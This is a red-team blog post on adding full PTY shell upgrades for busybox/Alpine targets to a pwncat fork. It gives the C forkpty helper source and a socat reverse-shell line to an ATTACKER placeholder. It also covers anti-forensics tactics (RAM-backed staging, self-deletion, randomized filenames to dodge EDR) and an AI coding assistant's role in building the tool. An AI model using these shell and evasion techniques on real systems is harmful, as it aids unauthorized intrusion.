How I Added PTY Support to Busybox Shells (When Everyone Said It Was Impossible)
Table of Contents
TL;DR
Every post-exploitation tool (pwncat, Penelope, Metasploit) fails to upgrade a shell to a full PTY on minimal busybox/Alpine systems. They all rely on script or python, which don’t exist on these targets. I wrote an 80-line C binary that calls forkpty(), cross-compiled it for 4 architectures, and embedded it in pwncat-vl. It auto-detects busybox, uploads the binary over the existing connection via base64, execs it, then deletes itself. Full interactive PTY on Alpine in under 3 seconds.
The Problem
You pop a reverse shell on a Docker container. It’s Alpine Linux. You try the usual upgrade:
python3 -c "import pty; pty.spawn('/bin/sh')"
# /bin/sh: python3: not found
python -c "import pty; pty.spawn('/bin/sh')"
# /bin/sh: python: not found
script -qc /bin/sh /dev/null
# /bin/sh: script: not found
Nothing. Alpine ships with busybox, and busybox’s default build doesn’t include script, python, perl, socat, or any of the usual PTY-spawning tools. You’re stuck in a raw shell with no job control, no tab completion, no arrow keys, and Ctrl+C kills your session.
This isn’t a rare edge case. Alpine is the most popular base image on Docker Hub. If you’re doing pentests in 2026, you’re hitting Alpine containers constantly. And every tool handles it the same way: they crash, or they fall back to a barely usable raw shell.
Why Nobody Fixed It
The community has been stuck in a “living off the land” mindset. The assumption is: you should only use what’s already on the target. If the target doesn’t have script or python, tough luck. Every blog post, every cheat sheet, every tool assumes one of these exists:
# The "standard" techniques - all require external tools
python -c "import pty; pty.spawn('/bin/sh')"
script -qc /bin/sh /dev/null
socat exec:sh,pty,stderr,setsid,sigint,sane tcp:ATTACKER:PORT
I tested every possible pure-shell technique on Alpine. setsid, getty, openvt, /dev/ptmx redirects, awk, su - none of them work. You cannot allocate a PTY from a non-interactive shell using only busybox builtins. It’s not a skill issue. The syscalls aren’t available through shell commands.
The upstream pwncat project has had a TODO comment about busybox since at least 2021:
"""
TODO: We should do something about the `which` statement that is sometimes
passed in, if we were using busybox.
"""
Five years. No solution.
The Insight
Here’s what everyone misses: python -c "import pty; pty.spawn('/bin/sh')" is not magic. Under the hood, it calls forkpty(), which does this:
- Opens
/dev/ptmx(the PTY master multiplexer) - Calls
grantpt()andunlockpt()to set up the slave - Forks the process
- The child opens the slave PTY and makes it its controlling terminal
- The parent relays I/O between stdin/stdout and the PTY master
That’s it. That’s all a PTY is. A file descriptor dance with /dev/ptmx. You don’t need Python for this. You don’t need script. You need about 80 lines of C:
#include <pty.h>
#include <poll.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
static volatile sig_atomic_t child_dead = 0;
static void sigchld(int sig) { (void)sig; child_dead = 1; }
int main(int argc, char *argv[]) {
int master;
pid_t pid;
const char *shell = argc > 1 ? argv[1] : "/bin/sh";
signal(SIGCHLD, sigchld);
pid = forkpty(&master, NULL, NULL, NULL);
if (pid < 0) return 1;
if (pid == 0) { execlp(shell, shell, "-i", (char *)NULL); _exit(127); }
struct pollfd fds[2] = {
{ .fd = STDIN_FILENO, .events = POLLIN },
{ .fd = master, .events = POLLIN },
};
char buf[4096];
while (!child_dead) {
if (poll(fds, 2, 200) < 0) { if (errno == EINTR) continue; break; }
if (fds[0].revents & POLLIN) {
ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
if (n <= 0) break;
write(master, buf, n);
}
if (fds[1].revents & POLLIN) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
write(STDOUT_FILENO, buf, n);
}
if ((fds[0].revents | fds[1].revents) & (POLLHUP | POLLERR)) break;
}
close(master);
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
}
Compiled statically with musl, this produces a 34KB binary for x86_64. That’s smaller than most PNG screenshots. It has zero dependencies - no libc, no shared libraries. It runs on any Linux kernel.
The Implementation
I integrated this into pwncat-vl as a last-resort PTY method. The flow:
-
Detection: pwncat tries the standard methods first (
script,python). If they all fail, it checks ifbusyboxis present. -
Architecture detection: Runs
uname -mto get the remote architecture. -
Writable directory selection: Checks
/dev/shmfirst (tmpfs, lives in RAM, never touches disk). Falls back to/tmpif/dev/shmis mountednoexec(common in containers). -
Upload: The binary is embedded in the pwncat package. It’s base64-encoded and sent in 4KB chunks over the existing connection. Takes about 1-2 seconds.
-
Execution: The binary is launched, then a background task deletes it after 2 seconds. Linux keeps the process mapped in memory via the inode even after the file is unlinked - so it runs entirely from RAM.
-
Cleanup: The filename is randomized (
secrets.token_hex(6)) so there’s no predictable pattern on disk. And since it self-deletes, there’s nothing left after exec.
Pre-compiled binaries are included for 4 architectures:
| Architecture | Binary size |
|---|---|
| x86_64 | 34 KB |
| aarch64 | 67 KB |
| i686 | 42 KB |
| armv7l | 26 KB |
The Result
Before (upstream pwncat-cs on Alpine):
$ pwncat-cs 10.10.10.10:4444
[21:33:15] Welcome to pwncat 🐈!
connection to 10.10.10.10:4444 established
connection failed: no available pty methods
(local) pwncat$
# Ctrl+D does nothing. No interactive shell. Session is useless.
After (pwncat-vl v0.6.2):
$ pwncat-vl 10.10.10.10:4444
[21:58:34] Welcome to pwncat 🐈!
connection to 10.10.10.10:4444 established
localhost: registered new host w/ db
localhost: uploading pty_helper to /tmp (34440 bytes)
localhost: pty_helper spawned successfully
(local) pwncat$
(remote) root@85c0abb13a6d:/$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
(remote) root@85c0abb13a6d:/$ hostname
85c0abb13a6d
(remote) root@85c0abb13a6d:/$ # full PTY - arrows, tab, Ctrl+C, vim, everything
No configuration needed. It just works. If the target has script or python, pwncat uses those (no change from standard behavior). The pty_helper only kicks in when everything else fails.
What About Other Tools?
I checked every major post-exploitation tool:
- Penelope: Crashes or falls back to raw shell on busybox
- Metasploit: Has a
busybox/jailbreakmodule but it’s for escaping restricted shells, not PTY allocation. Standardshell_to_meterpreterfails without python/script - Sliver: No busybox-specific PTY handling
- Upstream pwncat: Throws
PlatformError("no available pty methods")and crashes the session
pwncat-vl is currently the only post-exploitation framework that can spawn a real PTY on a barebones busybox/Alpine target.
The Trade-Off: Detection
Let’s be honest about what we’re doing here. The standard PTY techniques (script, python) are living off the land - they use binaries already on the system, so they don’t trigger file-write alerts. Our approach uploads a binary to disk (even if briefly), which is inherently more detectable.
An EDR or file integrity monitor watching /tmp or /dev/shm will see a new executable appear, get chmod +x’d, execute, and disappear. That’s a suspicious pattern. On a monitored host, this could get flagged.
We mitigate this as much as we can:
- Prefer
/dev/shm(RAM-backed tmpfs, no disk I/O for forensics to recover) - Self-delete after exec (the binary runs from memory via the kernel’s inode reference)
- Randomized filename (no static signature to pattern-match on)
- The binary is 34KB of static musl with no imports - hard to fingerprint by size alone
But the fundamental trade-off remains: you’re writing a file to get a PTY, versus having no PTY at all. On a barebones Alpine container with no monitoring, this is a non-issue. On a hardened host with endpoint detection, you’d want to be aware of it.
In practice, if you’re on a target that has EDR sophisticated enough to catch this, it probably also has python or script installed - so you’d never hit the pty_helper path anyway. The targets where this kicks in are minimal containers and embedded devices where detection tooling is equally minimal.
Why LotL Thinking Fails Here
The “living off the land” approach works great when the land has resources. On a full Ubuntu or Debian install, you have python, perl, script, socat - take your pick. But on Alpine, the “land” is a 5MB base image with busybox and nothing else.
The irony is that pwncat already uploads binaries for Windows targets (the entire .NET C2 framework). It uploads PowerSploit modules. It stages implants. But nobody thought to upload a 34KB ELF for the most basic Linux operation.
Sometimes the simplest solution is the one nobody tries because they’re too focused on the constraints they’ve imposed on themselves.
How This Actually Happened
I want to be transparent about the process because I think it says something about how AI-assisted development works in practice.
Like most of my recent work, this was built entirely with Claude Code. But “built with AI” doesn’t mean “AI had the idea.” Here’s what actually happened.
My first prompt was straightforward:
The problem with busybox is the TTY upgrade that doesn’t work. We want to find techniques that make it work.
I was convinced it could be done in pure shell. No external tools. Living off the land. So I had Claude Code spin up an Alpine container and test every technique: setsid, getty, openvt, /dev/ptmx redirects, awk, su, microcom. When it tried to install packages as a workaround, I shut it down:
No, don’t download anything. I think there are tricks to do it full CLI without external tools.
We tested everything. Every single technique failed. You cannot allocate a PTY from a non-interactive shell using only busybox builtins. That was the important part - I needed to prove it was impossible before I’d accept another approach.
Once the evidence was there, the pivot was instant:
If we detect busybox, we upload a binary over the connection with the right arch. How do we make this native?
From there, every OPSEC detail came from red team instinct. Things I said during the session that shaped the implementation:
- “/dev/shm sometimes isn’t writable, you need to check both paths if they’re writable” - which led to the exec permission check after we discovered
/dev/shmwas mountednoexecin Docker - “Did you randomize the filename or not?” - which added
secrets.token_hex(6) - “The problem is that we upload a file, so technically it’s more detectable. But that’s the trade-off” - which became the detection section of this post
- “We haven’t broken anything if it’s Ubuntu, right?” - which led to the regression test on a standard Ubuntu container
Claude Code wrote the C, the Python integration, the cross-compilation. But the direction, the constraints, the OPSEC thinking, and the decision to prove LotL impossible first - that was the human side. AI gives me the ability to execute across domains I don’t have deep expertise in (musl cross-compilation, pwncat internals, Docker multi-arch builds). But it doesn’t decide what to build or why. It doesn’t think about what an EDR would flag. It doesn’t say “wait, test on Ubuntu before we ship.”
I think this is what people miss about AI-assisted development. It’s not “AI writes code, human watches.” It’s more like pair programming where one person has the vision and the other has infinite patience and broad technical knowledge. The output is better than either could produce alone.
Links:
- pwncat-vl - the fork with busybox PTY support
- v0.6.2 changelog - full list of changes
- Exegol - the hacking environment that ships pwncat-vl